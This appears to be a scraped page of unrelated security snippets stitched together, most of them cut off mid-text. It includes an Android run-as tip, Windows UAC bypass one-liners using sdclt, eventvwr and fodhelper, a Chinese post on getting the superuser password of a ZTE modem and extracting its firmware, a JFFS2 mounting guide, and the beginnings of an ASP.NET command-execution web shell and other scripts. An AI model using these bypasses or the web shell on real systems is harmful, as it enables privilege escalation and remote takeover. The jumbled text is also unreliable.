Let's say you want to access the application shared preferences in /data/data/com.mypackage.
You could try to run adb shell and then run-as com.mypackage
( or adb shell run-as com.mypackge ls /data/data/com.mypackage/shared_prefs),
but on a production release app downloaded from an app store you're most likely to see:
run-as: Package 'com.mypackage' is not debuggable
| #sdclt fileless UAC bypass | |
| regg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\App Paths\control.exe" /d "cmd.exe" /f && START /W sdclt.exe && reg delete "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\App Paths\control.exe" /f | |
| #eventvwr fileless UAC bypass | |
| %windir%\\System32\\WindowsPowerShell\\v1.0\\powershell.exe $executablepath = "Start-Process -FilePath 'cmd.exe'";$cmd = 'Start-Process -FilePath {0} -ArgumentList "/c reg add "HKCU\Software\Classes\mscfile\shell\open\command" /f /d "{0} /c %windir%\\System32\\WindowsPowerShell\\v1.0\\powershell.exe -nop -w hidden -c \"IEX $executablepath;IEX $cmd) "' -f $env:comspec; | |
| #fodhelper fileless UAC bypass | |
| New-Item -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Value "cmd /c start powershell.exe" -Force;New-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "DelegateExecute" -Value "" -Force;Start-Process "C:\Windows\System32\fodhelper.exe";Remove-Item "HKCU:\Software\Classes\ms-settings\ |
之前用的光猫不小心进水烧坏了，然后搞了个中兴 F460 拿来用，网上办法多如牛毛，但是试了都不行
电信贼的很，只要注册 LOID 之后他就把 telnet 给你关了，然后啥也搞不成，今天琢磨了一整天成功拿到telecomadmin密码，并能随时TELNET进路由器。
不破解就有普通用户权限，除了Wi-Fi密码，什么也改不了, 而且 Wi-Fi 名称必须得 ChinaNet 开头，更要命的是电信可以随时远程控制路由器
最简单的办法是有线或无线连接到路由器后访问 http://192.168.1.1/web_shell_cmd.gch 然后执行以下命令来获取超级用户密码
Mounting JFFS2 Images on a Linux PC
It is possible to mount a binary JFFS2 image on a Linux PC without a flash device. This can be useful for examining the contents of the image, making required changes, and creating a new image in any format. When a JFFS2 image is copied directly from a JFFS2 flash partition, the resulting image is the size of the source partition, regardless of how much space is actually used for storage. Mounting the filesystem and using the mkfs.jffs2 utility to create a new image will result in a JFFS2 image without blank nodes. This can also be used to create multiple images for flashes with different characteristics, such as erase block sizes. This page describes two different methods of mounting JFFS2 images on a Linux PC.
This procedure requires that the following kernel modules are available or built-in to the kernel on the development machine: mtdram, mtdblock, jffs2, block2mtd, and loop.
One method of mounting JFFS2 images uses the mt
破解完光猫不过隐,继续琢磨，查了些智能设备安全的教程，分析智能设备或嵌入式设备安全，第一步是要提取固件，所以接下来要提取固件了。
通过/proc虚拟文件系统读取MTD分区表：
/ # cat /proc/mtd
dev: size erasesize name
mtd0: 08000000 00020000 "whole flash"
mtd1: 00200000 00020000 "u-boot"
| #!/usr/bin/python3 | |
| from cmd import Cmd | |
| import requests | |
| import readline | |
| import sys | |
| from base64 import b64encode | |
| from random import randrange | |
| import threading | |
| from time import sleep |
| #!/bin/bash | |
| NOCOLOR='\033[0m' | |
| RED='\033[0;31m' | |
| GREEN='\033[0;32m' | |
| ORANGE='\033[0;33m' | |
| BLUE='\033[0;34m' | |
| PURPLE='\033[0;35m' | |
| CYAN='\033[0;36m' | |
| LIGHTGRAY='\033[0;37m' |
| <%@ Page Language="VB" Debug="true" %> | |
| <%@ import Namespace="system.IO" %> | |
| <%@ import Namespace="System.Diagnostics" %> | |
| <script runat="server"> | |
| Sub RunCmd(Src As Object, E As EventArgs) | |
| Dim myProcess As New Process() | |
| Dim myProcessStartInfo As New ProcessStartInfo(xpath.text) | |
| myProcessStartInfo.UseShellExecute = false |
| . | |
| .. | |
| ........ | |
| @ | |
| * | |
| *.* | |
| *.*.* | |
| 🎠|
| #!/usr/bin/env python3 | |
| import sys | |
| if not sys.stdin.isatty(): | |
| stdin = sys.stdin.read().splitlines() | |
| gnmap = stdin | |
| elif len(sys.argv) > 1: | |
| target = sys.argv[1] | |
| with open(GNMAP) as f: |